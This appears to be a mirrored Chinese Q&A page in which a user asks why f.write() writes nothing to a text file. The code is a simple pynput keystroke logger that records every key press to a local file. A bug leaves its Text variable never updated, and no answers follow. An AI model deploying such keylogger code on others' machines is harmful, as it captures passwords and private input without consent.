f.write()未写入我的.txt文档

时间:2019-06-01 01:52:13

标签: python python-3.x

我需要找到一种解决方法

from pynput import keyboard
f = open("bruh1e2.txt", "w+")
Text = ""
def ok(Text):
    global f

    f.write(Text)


def text(Key):
    global Text
    Key = str(Key)
    Key = Key.replace("'", "")
    if Key == "Key.space":
        Key = " "
    if Key == "Key.backspace":
        Key = "(<)"

    ok(Text)



def W_Press(Key):

    text(Key)



def W_Release(Key):
    return True

with keyboard.Listener(on_press = W_Press, on_release = W_Release) as listner:
    listner.join()

f.close()

0 个答案:

没有答案